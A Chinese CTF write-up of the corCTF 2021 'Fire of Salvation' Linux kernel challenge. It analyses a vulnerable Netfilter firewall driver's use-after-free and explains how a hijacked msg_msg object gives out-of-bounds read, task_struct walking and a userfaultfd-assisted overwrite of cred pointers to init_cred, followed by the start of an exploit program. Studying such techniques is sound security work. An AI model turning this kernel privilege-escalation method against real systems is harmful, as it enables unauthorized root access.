查看原文
其他

从两道0解题看Linux内核堆上msg_msg对象扩展利用

ScUpax0s 看雪学苑 2022-07-01


本文为看雪论坛精华文章
看雪论坛作者ID:ScUpax0s


在前些日子结束的 corCTF 2021 国际赛中,出现了两个有意思的0解Linux kernel题,赛后我的队友向我推荐了这两道题,我浏览了一下官方题解,做了复现。
 
这两道题的主要目的是介绍了 <在Linux Kernel中,当我们控制了 struct msg_msg 之后,如何构造任意(越界)读、任意写、以及任意释放的原语。进而如何配合userfaultfd实现对于当前进程的task_struct,以及cred的进攻利用,实现权限提升> 的这样一种技术。
 
这是出题人的想法与官方WP:

Fire of Salvation(https://www.willsroot.io/2021/08/corctf-2021-fire-of-salvation-writeup.html)

Wall Of Perdition(https://syst3mfailure.io/wall-of-perdition)

 
这个仓库里收集了题目文件:

Github(https://github.com/Crusaders-of-Rust/corCTF-2021-public-challenge-archive/tree/main/pwn)



1


Netfiler Hook简介


Linux Kernel Communication — Netfilter Hooks(https://infosecwriteups.com/linux-kernel-communication-part-1-netfilter-hooks-15c07a5a5c4e)

netfilter是一个用于数据包处理的框架,在正常的套接字接口之外。它有四个部分。首先,每个协议都定义了 "钩子"(IPv4定义了5个),这些钩子是数据包穿越该协议栈过程中的明确定义的hook point。在每一个点上,协议都根据数据包和hook number调用netfilter框架。


Netfilter给了我们一种在固定的point对packet进行回调,解析,修改,过滤的可能。
 
Netfilter提供了一种叫做netfilter hooks的东西,这是一种使用回调的方式,以便在内核内过滤数据包。
 
有5种不同的netfilter hook分别位于如下位置 1~5。
A Packet Traversing the Netfilter System: --->[1]--->[ROUTE]--->[3]--->[4]---> | ^ | | | [ROUTE] v | [2] [5] | ^ | | v |

他们对应的是:
  1. NF_INET_PER_ROUNTING
  2. NF_INET_LOCAL_IN
  3. NF_INET_FORWARD
  4. NF_INET_POST_ROUTING
  5. NF_INET_LOCAL_OUT

具体的,我们需要使用 nf_register_net_hook 针对hook进行注册(结构体nf_hook_ops)。


2


Fire of Salvation


题目描述
Elastic objects in kernel have more power than you think. A kernel config file is provided as well, but some of the important options include:
CONFIG_SLAB=yCONFIG_SLAB_FREELIST_RANDOM=yCONFIG_SLAB_FREELIST_HARDEN=yCONFIG_STATIC_USERMODEHELPER=yCONFIG_STATIC_USERMODEHELPER_PATH=""CONFIG_FG_KASLR=y
SMEP, SMAP, and KPTI are of course on. Note that this is an easier variation of the Wall of Perdition challenge.
hint: Using the correct elastic object you can achieve powerful primitives such as arb read and arb write. While arb read for this object has been documented, arb write has not to the extent of our knowledge (it is not a 0 day tho so don't worry).

可以看到开启了一堆保护和额外的加固。
 
注意以下选项:
  • FG-KASLR (Function Granular Kernel Address Space Layout Randomization):细粒度的kaslr,函数级别上的KASLR优化。
  • STATIC_USERMODE_HELPER 禁掉了对于modprobe_path和core_pattern的利用(只读区域)

值得注意的是的使用了SLAB分配器而非SLUB。
 
题目源码在:
 
https://paste.ubuntu.com/p/2xzRxyVjqy/
 
题目本身实现了一个 内核态的防火墙驱动,定义了针对ipv4数据包的出入站规则 。
 
init_firewall
/*初始化两个全局的list firewall_rules_in:存储指向入站规则的指针firewall_rules_out:存储指向出站规则的指针*/firewall_rules_in = kzalloc(sizeof(void *) * MAX_RULES, GFP_KERNEL);firewall_rules_out = kzalloc(sizeof(void *) * MAX_RULES, GFP_KERNEL);

/*注册hook函数*/ if (nf_register_net_hook(&init_net, &in_hook) < 0) { printk(KERN_INFO "[Firewall::Error] Cannot register nf hook!\n"); return ERROR; }if (nf_register_net_hook(&init_net, &out_hook) < 0) { printk(KERN_INFO "[Firewall::Error] Cannot register nf hook!\n"); return ERROR; }

对应的结构体如下:
static struct nf_hook_ops in_hook = { .hook = firewall_inbound_hook,/* 钩子函数 */ .hooknum = NF_INET_PRE_ROUTING, /* 钩子点,NF_INET_PRE_ROUTING代表当包到达时被调用。 */ .pf = PF_INET, /* 协议族 */ .priority = NF_IP_PRI_FIRST /* 优先级 */};
static struct nf_hook_ops out_hook = { .hook = firewall_outbound_hook, .hooknum = NF_INET_POST_ROUTING, .pf = PF_INET, .priority = NF_IP_PRI_FIRST};

firewall_inbound_hook && firewall_outbound_hook
/*本函数会在包进站时被调用*/static uint32_t firewall_inbound_hook(void *priv, struct sk_buff *skb, const struct nf_hook_state *state){ int i; uint32_t ret;
for (i = 0; i < MAX_RULES; i++) { //扫描存在的过滤规则 if (firewall_rules_in[i]) { // 调用process_rule处理对应的数据包 ret = process_rule(skb, firewall_rules_in[i], INBOUND, i); if (ret != SKIP) return ret; } }
return NF_ACCEPT;}

/*本函数会在包出站时被调用*/static uint32_t firewall_outbound_hook(void *priv, struct sk_buff *skb, const struct nf_hook_state *state){ int i; uint32_t ret;
for (i = 0; i < MAX_RULES; i++) { if (firewall_rules_out[i]) { ret = process_rule(skb, firewall_rules_out[i], OUTBOUND, i);
if (ret != SKIP) return ret; } }
return NF_ACCEPT;}

process_rule
static uint32_t process_rule(struct sk_buff *skb, rule_t *rule, uint8_t type, int i){ struct iphdr *iph; struct tcphdr *tcph; struct udphdr *udph;
printk(KERN_INFO "[Firewall::Info] rule->iface: %s...\n", rule->iface); printk(KERN_INFO "[Firewall::Info] skb->dev->name: %s...\n", skb->dev->name);
/* 比较interface是否匹配 */ if (strncmp(rule->iface, skb->dev->name, 16) != 0) { printk(KERN_INFO "[Firewall::Error] Rule[%d], inferface doesn't match, skipping!\n", i); return SKIP; }
/* 取当前的ip头 */ iph = ip_hdr(skb); /* 如果是INBOUND过滤 */ if (type == INBOUND) { /* 判断是否在一个子网内? */ if ((rule->ip & rule->netmask) != (iph->saddr & rule->netmask)) { printk(KERN_INFO "[Firewall::Error] Rule[%d], ip->saddr doesn't belong to the provided subnet, skipping!\n", i); /* 如果不在则返回SKIP跳过 */ return SKIP; } } /* 如果是OUTBOUND过滤 */ else { /* 判断子网合法性 */ if ((rule->ip & rule->netmask) != (iph->daddr & rule->netmask)) { printk(KERN_INFO "[Firewall::Error] Rule[%d], ip->daddr doesn't belong to the provided subnet, skipping!\n", i); return SKIP; } } /* 如果是TCP协议 */ if ((rule->proto == IPPROTO_TCP) && (iph->protocol == IPPROTO_TCP)) { printk(KERN_INFO "[Firewall::Info] Rule[%d], protocol is TCP\n", i); /* 取tcp头 */ tcph = tcp_hdr(skb); /* 检查端口合法性 */ if ((rule->port != 0) && (rule->port != tcph->dest)) { printk(KERN_INFO "[Firewall::Error] Rule[%d], rule->port (%d) != tcph->dest (%d), skipping!\n", i, ntohs(rule->port), ntohs(tcph->dest)); return SKIP; } /* 判断action是否合法,只允许NF_DROP 、NF_ACCEPT */ if ((rule->action != NF_DROP) && (rule->action != NF_ACCEPT)) { printk(KERN_INFO "[Firewall::Error] Rule[%d], invalid action (%d), skipping!\n", i, rule->action); return SKIP; }
printk(KERN_INFO "[Firewall::Info] %s Rule[%d], action %d\n", (type == INBOUND) ? "Inbound" : "Outbound", i, rule->action);
return rule->action; }
/* 如果是UDP协议 */ else if ((rule->proto == IPPROTO_UDP) && (iph->protocol == IPPROTO_UDP)) { printk(KERN_INFO "[Firewall::Info] Rule[%d], protocol is UDP\n", i);
udph = udp_hdr(skb);
if ((rule->port != 0) && (rule->port != udph->dest)) { printk(KERN_INFO "[Firewall::Error] Rule[%d], rule->port (%d) != udph->dest (%d), skipping!\n", i, ntohs(rule->port), ntohs(udph->dest)); return SKIP; }
if ((rule->action != NF_DROP) && (rule->action != NF_ACCEPT)) { printk(KERN_INFO "[Firewall::Error] Rule[%d], invalid action (%d), skipping!\n", i, rule->action); return SKIP; }
printk(KERN_INFO "[Firewall::Info] %s Rule[%d], action %d\n", (type == INBOUND) ? "Inbound" : "Outbound", i, rule->action);
return rule->action; }
return SKIP;}

firewall_add_rule
static long firewall_add_rule(user_rule_t user_rule, rule_t **firewall_rules, uint8_t idx){ printk(KERN_INFO "[Firewall::Info] firewall_add_rule() adding new rule!\n");
if (firewall_rules[idx] != NULL) { printk(KERN_INFO "[Firewall::Error] firewall_add_rule() invalid rule slot!\n"); return ERROR; }
//在对应的idx用kzalloc分配一个rule_t,没有限制idx范围 firewall_rules[idx] = (rule_t *)kzalloc(sizeof(rule_t), GFP_KERNEL);
if (!firewall_rules[idx]) { printk(KERN_INFO "[Firewall::Error] firewall_add_rule() allocation error!\n"); return ERROR; }
memcpy(firewall_rules[idx]->iface, user_rule.iface, 16); memcpy(firewall_rules[idx]->name, user_rule.name, 16); //拷贝0x800缓冲区到对应位置 strncpy(firewall_rules[idx]->desc, user_rule.desc, DESC_MAX); /* in4_pton将字符串转换成ipv4地址 , 检查ipv4的地址格式是否合法*/ if (in4_pton(user_rule.ip, strnlen(user_rule.ip, 16), (u8 *)&(firewall_rules[idx]->ip), -1, NULL) == 0) { printk(KERN_ERR "[Firewall::Error] firewall_add_rule() invalid IP format!\n"); kfree(firewall_rules[idx]); firewall_rules[idx] = NULL; return ERROR; } /* 检查网络掩码是否合法 */ if (in4_pton(user_rule.netmask, strnlen(user_rule.netmask, 16), (u8 *)&(firewall_rules[idx]->netmask), -1, NULL) == 0) { printk(KERN_ERR "[Firewall::Error] firewall_add_rule() invalid Netmask format!\n"); kfree(firewall_rules[idx]); firewall_rules[idx] = NULL; return ERROR; }
/* 将对应的user-space的信息赋值到kernel-space变量中 */ firewall_rules[idx]->proto = user_rule.proto; firewall_rules[idx]->port = ntohs(user_rule.port); firewall_rules[idx]->action = user_rule.action; firewall_rules[idx]->is_duplicated = 0;
printk(KERN_ERR "[Firewall::Info] firewall_add_rule() new rule added!\n");
return SUCCESS;}

firewall_delete_rule
static long firewall_delete_rule(user_rule_t user_rule, rule_t **firewall_rules, uint8_t idx){ printk(KERN_INFO "[Firewall::Info] firewall_delete_rule() deleting rule!\n");
if (firewall_rules[idx] == NULL) { printk(KERN_INFO "[Firewall::Error] firewall_delete_rule() invalid rule slot!\n"); return ERROR; }
kfree(firewall_rules[idx]); firewall_rules[idx] = NULL;
return SUCCESS;}

这个函数没有UAF可以用。
 
firewall_edit_rule
 
可以编辑几个对应的属性。
static long firewall_edit_rule(user_rule_t user_rule, rule_t **firewall_rules, uint8_t idx){ printk(KERN_INFO "[Firewall::Info] firewall_edit_rule() editing rule!\n");
#ifdef EASY_MODE printk(KERN_INFO "[Firewall::Error] Note that description editing is not implemented.\n"); #endif
if (firewall_rules[idx] == NULL) { printk(KERN_INFO "[Firewall::Error] firewall_edit_rule() invalid idx!\n"); return ERROR; }
memcpy(firewall_rules[idx]->iface, user_rule.iface, 16); memcpy(firewall_rules[idx]->name, user_rule.name, 16);
if (in4_pton(user_rule.ip, strnlen(user_rule.ip, 16), (u8 *)&(firewall_rules[idx]->ip), -1, NULL) == 0) { printk(KERN_ERR "[Firewall::Error] firewall_edit_rule() invalid IP format!\n"); return ERROR; }
if (in4_pton(user_rule.netmask, strnlen(user_rule.netmask, 16), (u8 *)&(firewall_rules[idx]->netmask), -1, NULL) == 0) { printk(KERN_ERR "[Firewall::Error] firewall_edit_rule() invalid Netmask format!\n"); return ERROR; }
firewall_rules[idx]->proto = user_rule.proto; firewall_rules[idx]->port = ntohs(user_rule.port); firewall_rules[idx]->action = user_rule.action;
printk(KERN_ERR "[Firewall::Info] firewall_edit_rule() rule edited!\n");
return SUCCESS;}

firewall_dup_rule
static long firewall_dup_rule(user_rule_t user_rule, rule_t **firewall_rules, uint8_t idx){ //dup与firewall_rules应该是要统一属性 uint8_t i; rule_t **dup;
printk(KERN_INFO "[Firewall::Info] firewall_dup_rule() duplicating rule!\n"); //选择对应的rules list dup = (user_rule.type == INBOUND) ? firewall_rules_out : firewall_rules_in;
if (firewall_rules[idx] == NULL) { printk(KERN_INFO "[Firewall::Error] firewall_dup_rule() nothing to duplicate!\n"); return ERROR; } // 如果对应的 idx 已经设置了is_duplicated标志,return ERROR if (firewall_rules[idx]->is_duplicated) { printk(KERN_INFO "[Firewall::Info] firewall_dup_rule() rule already duplicated before!\n"); return ERROR; } // 扫描每个firewall_rules中每一项,设置is_duplicated = 1 // dup实际上是全局的firewall_rules_out 或者 firewall_rules_in // 如果有list中有NULL的,那么,把pointer list中所有为NULL的entry都设置成firewall_rules[idx]? // 实际就是用firewall_rules[idx]来填查找到的第一个NULL的,然后设置用于填充的entry is_duplicated=1 for (i = 0; i < MAX_RULES; i++) { if (dup[i] == NULL) { dup[i] = firewall_rules[idx]; firewall_rules[idx]->is_duplicated = 1; printk(KERN_INFO "[Firewall::Info] firewall_dup_rule() rule duplicated!\n"); return SUCCESS; } }
printk(KERN_INFO "[Firewall::Error] firewall_dup_rule() nowhere to duplicate!\n");
return ERROR;}


漏洞利用


本题漏洞很明显,首先在delete函数中不存在UAF,会设置对应free entry为NULL。
 
但是在 firewall_dup_rule 中用对应idx的entry来填充了list中查找到的第一个为NULL的entry。
 
如果我们先一步调用 firewall_dup_rule ,相当于在(对称的)list上放了同一个entry的一个copy,我们free掉一个,再利用对称的list里剩下的没有设置为NULL的copy即可完成UAF。
 
这里要注意 dup = (user_rule.type == INBOUND) ? firewall_rules_out : firewall_rules_in;
 
也就是说dup的时候firewall_rules_out链表的会dup到firewall_rules_in;firewall_rules_in会dup到firewall_rules_out。是一个对称的dup,而不是在同一个list中dup。
 
并且由于flag标志位同一个entry只能dup一次。
 
我们可以UAF的对象属于kmalloc-4096,并且我们可以配合edit完成UAF-write,但是edit限制为只能任意写UAF对象部分长度。

利用 msg_msg 对象堆喷射构造任意读写


msg_msg 对象

/* one msg_msg structure for each message */struct msg_msg { struct list_head m_list; long m_type; size_t m_ts; /* message text size */ struct msg_msgseg *next; void *security; //无SELinux,这里为NULL /* the actual message follows immediately */};
根据 :manpage(https://man7.org/linux/man-pages/man2/msgop.2.html)
 
这个对象在上层主要对应的操作是 msgsnd() 还有 msgrcv()
struct msg_msgseg { struct msg_msgseg *next; /* the next part of the message follows immediately */};


int msgsnd(int msqid, const void *msgp, size_t msgsz, int msgflg)



ssize_t msgrcv(int msqid, void *msgp, size_t msgsz, long msgtyp,int msgflg);



这两个syscall主要用于发送message到系统的消息队列,然后从消息队列接收message。调用他的进程必须对消息队列有写权限才能发送消息;有读权限才能接收消息。
 
在内核中 msgsnd 会到达 do_msgsnd :
#0 0xffffffff8159eb44 in do_msgsnd ()#1 0xffffffff8146dfcf in __x64_sys_msgsnd ()#2 0xffffffff81004ea6 in do_syscall_64 ()

do_msgsnd
static long do_msgsnd(int msqid, long mtype, void __user *mtext, size_t msgsz, int msgflg){ struct msg_queue *msq; struct msg_msg *msg; int err; struct ipc_namespace *ns; DEFINE_WAKE_Q(wake_q);
//获取创建该消息队列的进程的IPC命名空间 ns = current->nsproxy->ipc_ns; //检查size,qid是否合法 if (msgsz > ns->msg_ctlmax || (long) msgsz < 0 || msqid < 0) return -EINVAL; if (mtype < 1) return -EINVAL;
//为内核态的msg分配空间,拷贝用户态数据到内核态 /* 分配的时候每次分配的长度是:alen = min(len, DATALEN_MSG),然后会计算len - alen是否大于零。 如果大于0的话,会分配多个 struct msg_msgseg *seg; 直到len-alen≤0 并且分配的多个msg_msgseg会被挂在 &msg->next 链表上,多个struct msg_msgseg之间也是以&seg->next连接的 */ msg = load_msg(mtext, msgsz); if (IS_ERR(msg)) return PTR_ERR(msg);
//设置message type和text size msg->m_type = mtype; msg->m_ts = msgsz;
rcu_read_lock();
//根据namespcae和msqid进行检查 //struct msg_queue *msq用于描述消息队列 msq = msq_obtain_object_check(ns, msqid); if (IS_ERR(msq)) { err = PTR_ERR(msq); goto out_unlock1; } ipc_lock_object(&msq->q_perm);
for (;;) { struct msg_sender s;
err = -EACCES; if (ipcperms(ns, &msq->q_perm, S_IWUGO)) goto out_unlock0;
/* raced with RMID? */ if (!ipc_valid_object(&msq->q_perm)) { err = -EIDRM; goto out_unlock0; }
err = security_msg_queue_msgsnd(&msq->q_perm, msg, msgflg); if (err) goto out_unlock0;
if (msg_fits_inqueue(msq, msgsz)) break;
/* queue full, wait: */ if (msgflg & IPC_NOWAIT) { err = -EAGAIN; goto out_unlock0; }
/* enqueue the sender and prepare to block */ ss_add(msq, &s, msgsz);
if (!ipc_rcu_getref(&msq->q_perm)) { err = -EIDRM; goto out_unlock0; }
ipc_unlock_object(&msq->q_perm); rcu_read_unlock(); schedule();
rcu_read_lock(); ipc_lock_object(&msq->q_perm);
ipc_rcu_putref(&msq->q_perm, msg_rcu_free); /* raced with RMID? */ if (!ipc_valid_object(&msq->q_perm)) { err = -EIDRM; goto out_unlock0; } ss_del(&s);
if (signal_pending(current)) { err = -ERESTARTNOHAND; goto out_unlock0; }
}
ipc_update_pid(&msq->q_lspid, task_tgid(current)); msq->q_stime = ktime_get_real_seconds();
if (!pipelined_send(msq, msg, &wake_q)) { /* no one is waiting for this message, enqueue it */ list_add_tail(&msg->m_list, &msq->q_messages); msq->q_cbytes += msgsz; msq->q_qnum++; atomic_add(msgsz, &ns->msg_bytes); atomic_inc(&ns->msg_hdrs); }
err = 0; msg = NULL;
out_unlock0: ipc_unlock_object(&msq->q_perm); wake_up_q(&wake_q);out_unlock1: rcu_read_unlock(); if (msg != NULL) free_msg(msg); return err;}

load_msg
#define DATALEN_MSG ((size_t)PAGE_SIZE-sizeof(struct msg_msg))#define DATALEN_SEG ((size_t)PAGE_SIZE-sizeof(struct msg_msgseg))
msg = load_msg(mtext, msgsz);
struct msg_msg *load_msg(const void __user *src, size_t len){ struct msg_msg *msg; struct msg_msgseg *seg; int err = -EFAULT; size_t alen; //分配空间 msg = alloc_msg(len); if (msg == NULL) return ERR_PTR(-ENOMEM);
alen = min(len, DATALEN_MSG); //此时的src就是用户态的mtext //这里我们把用户态的数据拷贝进内核 if (copy_from_user(msg + 1, src, alen)) goto out_err;
for (seg = msg->next; seg != NULL; seg = seg->next) { len -= alen; src = (char __user *)src + alen; alen = min(len, DATALEN_SEG); if (copy_from_user(seg + 1, src, alen)) goto out_err; }
err = security_msg_msg_alloc(msg); if (err) goto out_err;
return msg;
out_err: free_msg(msg); return ERR_PTR(err);}

alloc_msg
#define DATALEN_MSG ((size_t)PAGE_SIZE-sizeof(struct msg_msg))#define DATALEN_SEG ((size_t)PAGE_SIZE-sizeof(struct msg_msgseg))
struct msg_msg *load_msg(const void __user *src, size_t len) msg = alloc_msg(len); //此时的len等于用户态传来的msgsz
static struct msg_msg *alloc_msg(size_t len){ struct msg_msg *msg; struct msg_msgseg **pseg; size_t alen;
alen = min(len, DATALEN_MSG); msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT); if (msg == NULL) return NULL;
msg->next = NULL; msg->security = NULL;
len -= alen; pseg = &msg->next; while (len > 0) { struct msg_msgseg *seg;
cond_resched();
alen = min(len, DATALEN_SEG); seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT); if (seg == NULL) goto out_err; *pseg = seg; seg->next = NULL; pseg = &seg->next; len -= alen; }
return msg;
out_err: free_msg(msg); return NULL;}

上一部分已经简单介绍了这个函数,这里我们注意一下 struct msg_msgseg
struct msg_msgseg { struct msg_msgseg *next; /* the next part of the message follows immediately */};

原生的只有一个next指针实际下方还有对应的data区域。
 
分配的时候 seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT); 会加上剩下的数据的alen的长度,总的长度就是 sizeof(struct msg_msgseg) + alen。
 
当一个消息过长时,其典型结构如:
msg_msg ----next----> msg_msgseg ----next----> msg_msgseg ----next----> msg_msgseg...

do_msgrcv

本函数中,如果设置了MSG_COPY,那么会调用 prepare_copy 进行预先分配,其实就是 load_msg 的一个封装。也就是先把用户态的放到一个copy上。

接下来,在for循环中通过 find_msg 中的list_for_each_entry扫描了msg_queue.q_receivers 队列。最终返回合适的 struct msg_msg *

如果设置了 msgflg & MSG_COPY 当开启 CONFIG_CHECKPOINT_RESTORE 时成功调用 copy_msg

在copy_msg中,首先从struct msg_msg 中进行拷贝到函数一开始copy的副本中。
=> 0xffffffff8159e549 <+297>: rep movs QWORD PTR es:[rdi],QWORD PTR ds:[rsi]

然后拷贝struct msg_msgseg ,从 msg_msg.next 到 msg_copy.next 。
if (msgflg & MSG_COPY) { msg = copy_msg(msg, copy); goto out_unlock0; }
struct msg_msg *copy_msg(struct msg_msg *src, struct msg_msg *dst){ struct msg_msgseg *dst_pseg, *src_pseg; size_t len = src->m_ts; size_t alen;
if (src->m_ts > dst->m_ts) return ERR_PTR(-EINVAL);
alen = min(len, DATALEN_MSG); memcpy(dst + 1, src + 1, alen);
for (dst_pseg = dst->next, src_pseg = src->next; src_pseg != NULL; dst_pseg = dst_pseg->next, src_pseg = src_pseg->next) {
len -= alen; alen = min(len, DATALEN_SEG); memcpy(dst_pseg + 1, src_pseg + 1, alen); }
dst->m_type = src->m_type; dst->m_ts = src->m_ts;
return dst;}

而这个函数中的src参数我们是可以劫持的,下文会详细讲。

注意,如果设置了MSG_COPY 不会进行接下来的出队unlink操作,而是直接 goto out_unlock0;

从队列中unlink,更新队列状态。list_del(&msg->m_list)

最终会到达 bufsz = msg_handler(buf, msg, bufsz); 这个 msg_handler 是 do_msgrcv 的最后一个参数。
static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg,
long (*msg_handler)(void __user *, struct msg_msg *, size_t) )

这个msg_handler实际上就是 store_msg :
0xffffffff8159f84c <+636>: call 0xffffffff8159e5b0 <store_msg>0xffffffff8159f851 <+641>: test eax,eax0xffffffff8159f853 <+643>: jne 0xffffffff8159fae9 <do_msgrcv.constprop+1305>0xffffffff8159f859 <+649>: mov rdi,r150xffffffff8159f85c <+652>: call 0xffffffff8159e670 <free_msg>

最终会 kfree(msg)


store_msg
 
本函数主要作用是将内核态放好的msg再拷贝到用户态。
// msg_handler(buf, msg, bufsz)int store_msg(void __user *dest, struct msg_msg *msg, size_t len){ size_t alen; struct msg_msgseg *seg;
alen = min(len, DATALEN_MSG); //首先拷贝alen长度 if (copy_to_user(dest, msg + 1, alen)) return -1; //如果有msg_msgseg,那么紧接着dest+alen放如果有msg_msgseg for (seg = msg->next; seg != NULL; seg = seg->next) { len -= alen; dest = (char __user *)dest + alen; alen = min(len, DATALEN_SEG); if (copy_to_user(dest, seg + 1, alen)) return -1; } return 0;}

do_msgrcv
 
https://elixir.bootlin.com/linux/v5.8/source/ipc/msg.c#L1090


配合堆喷射构造OOB Read泄漏kernel base


1、首先我们创建一个正常的firewall_rule。


2、delete上一个firewall_rule。


3、从kmalloc-4k中通过创建一个msg_msg取回来free掉的firewall_rule,此时转换成了msg_msg结构。


4、在堆上喷射大量的带有全局数据的 shm_file_data 结构。

struct shm_file_data { int id; struct ipc_namespace *ns; struct file *file; const struct vm_operations_struct *vm_ops;};


5、利用outbound list上存在的指针,对此时的msg_msg结构进行edit,主要目的是修改 m_ts 为一个大值。


6、调用 msgrcv 从消息队列中读取,由于此时 m_ts 被劫持为一个大值,所以我们可以进行越界读取。


7、越界读取到喷射 shm_file_data 利用其中的 init_ipc_ns 泄漏kernel base,bypass fg-kaslr。


遍历task_struct链表查找当前进程结构体


首先,回顾一下拷贝的过程。
 
考虑当我们打开MSG_COPY 、 CONFIG_CHECKPOINT_RESTORE时,当我们调用 do_msgrcv 会有如下过程:

1、首先将用户态传入的buf(一开始是空的)拷贝到一个内核态的副本上(aka. msg_msg_copy, msg_msgseg_copy)。

2、调用 find_msg 根据消息类型,从队列中查找是否有匹配的消息。即查找真正合适的msg_msg结构(就是我们UAF后控制的那个)。

3、接下来调用 copy_msg 拷贝查找到的匹配的消息msg_msg 以及对应的msg_msgseg到msg_msg_copy、msg_msgseg_copy(通过next指针链接)。

4、接下来一个goto,最终到达 msg_handler(buf, msg, bufsz) 。本质上是调用:
do_msg_fill->store_msg->copy_to_user 将对应的msg里的消息copy到用户态。

总结一下:当开启了 MSG_COPY 、 CONFIG_CHECKPOINT_RESTORE 内核会在不更新msg队列信息,不进行unlink的情况下,几乎是直接将对应的msg+msgseg的内容拷贝到用户态连续的地址空间。
 
这样的好处在于,由于msg_msg不出队,我们可以一直用edit进行多次的hijack。

具体的,我们通过edit,改mas_msg.next指向init_task+0x290的位置,那么我们就可以读取将init_task中的内容作为msg_msgseg读出来,而init_task本质上是一个task_struct,其中有task_struct链表中指向下一项的指针,还有对应的pid。
 
我们通过一次edit+read可以读一个task_struct,每读一次用读到的task链表的next指针重新设置msg_msg.next通过重复这个过程,就完成了一个对于task_struct链表的遍历,我们的最终目标就是找到当前进程对应的task_struct结构体。

通过UAF构造arw原语劫持task_struct.cred实现权限提升


当我们找到当前进程对应的task_struct的位置之后,只需要劫持task_struct中的两个关键指针,即可完成权限提升:
/* Objective and real subjective task credentials (COW): */const struct cred __rcu *real_cred;
/* Effective (overridable) subjective task credentials (COW): */const struct cred __rcu *cred;

我们通过offset定位这两个指针在 &task_struct + 0x538 和 0x540 的位置。
 
首先我们针对idx = 1再来一次UAF,构造出一个可控制的msg_msg:
 
我们配合userfaultfd机制,利用 msgsnd 触发一段对mmap后没有初始化的内存的copy操作。启动userfaultfd的handler。
 
在handler中,我们edit对应的msg_msg结构,主要目的是修改其next指针为&task_struct + 0x538 - 0x8的位置,相当于伪造出一个msg_msgseg。
 
紧接着在handler中恢复对应的未初始化的内存为我们构造的恶意数据。
// 初始化buffer,大小为pagesize,并且设置对应位置的指针,准备用来改cred * 恢复userfault的区域char uf_buffer[0x1000];memset(uf_buffer, 0, sizeof(uf_buffer));memcpy((void *)(uf_buffer + 0x1000-0x30), (void *)&init_cred, 8);memcpy((void *)(uf_buffer + 0x1000-0x30 + 8), (void *)&init_cred, 8);
// 设置struct uffdio_copy 恢复userfaultuf_copy.src = (unsigned long)uf_buffer;uf_copy.dst = FAULT_PAGE;uf_copy.len = 0x1000;uf_copy.mode = 0;uf_copy.copy = 0;
if(ioctl(uffd, UFFDIO_COPY, (unsigned long)&uf_copy) == -1) // wake it up{ perror("uffdio_copy error"); exit(-1);}

恢复之后,msgsnd 继续,此时将对应的用户态的恶意数据拷贝到内核态,最终在对于我们伪造的msg_msgseg赋值的过程中,实际上覆写了当前task_struct结构体的real_cred 、 cred指针。使其指向了具有全局root权限的init_cred。完成权限提升。
 
我的exp:
#define _GNU_SOURCE#include <stdio.h>#include <string.h>#include <unistd.h>#include <stdlib.h>#include <stdint.h>#include <fcntl.h>#include <sched.h>#include <pthread.h>#include <byteswap.h>#include <poll.h>#include <assert.h>#include <time.h>#include <signal.h>#include <sys/wait.h>#include <sys/syscall.h>#include <sys/mman.h>#include <sys/timerfd.h>#include <sys/ipc.h>#include <sys/msg.h>#include <sys/socket.h>#include <sys/reboot.h>#include <linux/userfaultfd.h>#include <arpa/inet.h>#include <sys/shm.h>#include <errno.h>#include <fcntl.h>#include <linux/fs.h>#include <semaphore.h>#include <sys/ioctl.h>#include <sys/stat.h>#include <pty.h>
#define ADD_RULE 0x1337babe#define DELETE_RULE 0xdeadbabe#define EDIT_RULE 0x1337beef#define SHOW_RULE 0xdeadbeef#define DUP_RULE 0xbaad5aad
#define PAGE_SIZE (1 << 12)#define ERROR -1#define SUCCESS 0#define MAX_RULES 0x80
#define INBOUND 0#define OUTBOUND 1#define SKIP -1
#define DESC_MAX 0x800
/* check if expr==-1 */#define CHECK(expr) \ if((expr) ==-1){ \ do{ \ perror(#expr); \ exit(EXIT_FAILURE); \ } while (0); \ } /* check if expr==-1 */

typedef struct{ char iface[16]; char name[16]; char ip[16]; char netmask[16]; uint8_t idx; uint8_t type; uint16_t proto; uint16_t port; uint8_t action; char desc[DESC_MAX];} user_rule_t;

typedef struct{ long mtype; char mtext[1];}msg;

struct list_head { struct list_head *next, *prev;};
/* one msg_msg structure for each message */struct msg_msg { struct list_head m_list; long m_type; size_t m_ts; /* message text size */ void *next; /* struct msg_msgseg *next; */ void *security; //无SELinux,这里为NULL /* the actual message follows immediately */};

int fd;char buf[DESC_MAX];char msg_buffer[0x2000]={0};char recieved[0x2000];uint64_t init_ipc_ns=0;uint64_t kernel_base=0;uint64_t init_task=0;uint64_t init_cred=0;pthread_t thr;uint64_t attack_addr ; void *arb_write(void *arg);void debug(){ puts("debug()"); getchar();}
void gen_dot_notation(char *buf, uint32_t val){ sprintf(buf, "%d.%d.%d.%d", val & 0x000000FF, (val & 0x0000FF00) >> 8, (val & 0x00FF0000) >> 16, (val & 0xFF000000) >> 24); return;}
void generate(char *input, user_rule_t *req){ char addr[0x10]; uint32_t ip = *(uint32_t *)&input[0x20]; uint32_t netmask = *(uint32_t *)&input[0x24];
memset(addr, 0, sizeof(addr)); gen_dot_notation(addr, ip); memcpy((void *)req->ip, addr, 0x10);
memset(addr, 0, sizeof(addr)); gen_dot_notation(addr, netmask); memcpy((void *)req->netmask, addr, 0x10);
memcpy((void *)req->iface, input, 0x10); memcpy((void *)req->name, (void *)&input[0x10], 0x10); memcpy((void *)&req->proto, (void *)&input[0x28], 2); memcpy((void *)&req->port, (void *)&input[0x28 + 2], 2); memcpy((void *)&req->action, (void *)&input[0x28 + 2 + 2], 1);
return;}
void firewall_add_rule(uint8_t idx,uint8_t type){ int ret=0; user_rule_t r; memset((void *)&r, 0 , sizeof(user_rule_t)); generate(buf, &r); r.type = type; r.idx = idx; ret = ioctl(fd,ADD_RULE,&r); printf("[+] Add Size: %#lx\n",sizeof(user_rule_t)); if(ret != SUCCESS){ printf("[-] firewall_add_rule FAILED, ret_val is : %d\n",ret); }else{ printf("[+] firewall_add_rule SUCCESS\n"); }}
